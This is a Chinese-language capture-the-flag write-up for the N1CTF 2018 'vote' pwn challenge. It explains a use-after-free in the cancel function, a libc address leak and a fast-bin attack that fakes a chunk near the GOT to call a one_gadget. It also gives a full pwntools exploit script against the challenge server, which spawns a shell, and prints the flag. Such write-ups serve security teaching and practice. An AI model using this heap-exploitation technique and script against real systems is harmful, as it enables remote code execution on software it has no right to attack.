[PWN]Vote - Cpt.shao xp0int Posted on Mar 12 2018 ? UAF ? ? Fast-bin-attack ? ? heap ? ? Pwn ? ```c struct user { __int64 count; __int64 time; __int64 name; }; ``` 漏洞出在cancel函数里面,如果create一个用户后没有投票操作的话,cancel函数free这个指针并不会把指针清零,可以造成一个double free或者是uaf。 malloc一个unsortedbin大小的chunk然后free掉,通过show函数就能泄露一个libc地址。 按照常规的思路做fast bin attack的话会行不通,因为返回来的地址prev位对应结构中的count参数,这个位置我们是没办法直接改写达到返回任意地址的目的的。 然后想到了uaf的做法,既然我们不能直接写,那么可以用vote函数把prev位的地址给加上去。在heap中伪造一个fake chunk,保证这个chunk是free的状态并且能够通过malloc的检查,然后还要把prev位设置成为最终想要返回的地址。 那么我们再malloc两次就能得到想要的地址了,这里当然是写got表,问题是用0x7f的大小试了很久都绕不过,gaintbranch提醒说got表上的0x7f会有干扰的,libc上的就能成功返回。后来又用0x60的大小去试,got表上仅存能够利用的0x60位置都不能用。 后来只好翻到got最前面0x601ffa那边去了,用onegadget一个一个尝试那个got位置可以成功调用,最后好像是在pthread_create那里成功了。 再vote一次即可触发。 ## vote.py ```python from pwn import * import time env = {'LD_PRELOAD': './libc-2.23.so'} # p = process('./vote', env=env) p = remote('47.97.190.1', 6000) libc = ELF('./libc-2.23.so') context.log_level = 'debug' def create(size, name): p.sendlineafter('Action: ', '0') p.sendlineafter(': ', str(size)) p.sendlineafter(': ', name) def vote(idx): p.sendlineafter('Action: ', '2') p.sendlineafter(': ', str(idx)) p.info('it will wait 3s to increase global count') def cancel(idx): p.sendlineafter('Action: ', '4') p.sendlineafter(': ', str(idx)) def show(idx): p.sendlineafter('Action: ', '1') p.sendlineafter(': ', str(idx)) def leak_libc(): show(3) p.recvuntil('time: ') addr = int(p.recvline().strip()) p.info('leak_libc: %x' % addr) return addr fake_fast_chunk = p64(0) + p64(97) + p64(0x601ffa) create(0x40, fake_fast_chunk) create(0x40, '/bin/sh') create(0x40, 'b'*10) create(0x100, 'c'*10) create(0x40, '-'*10) cancel(3) libc_start = leak_libc() - 0x3c4b78 p.info('libc_start: %x' % libc_start) create(0x100,'c'*10) cancel(0) cancel(2) for i in range(0x20): # change the fast bin list vote(2) vote(1) create(0x40, '-'*10) create(0x40, '-'*10) one_gadget = libc_start +0x4526a create(0x40, cyclic(6) + p64(one_gadget)[:-1]) vote(1) p.interactive() ``` ## Flag N1CTF{Pr1nTf_2333333333!} 打赏还是打残,这是个问题 赏 Wechat Pay Alipay [PWN]Beeper - Cpt.shao
没有帐号? 立即注册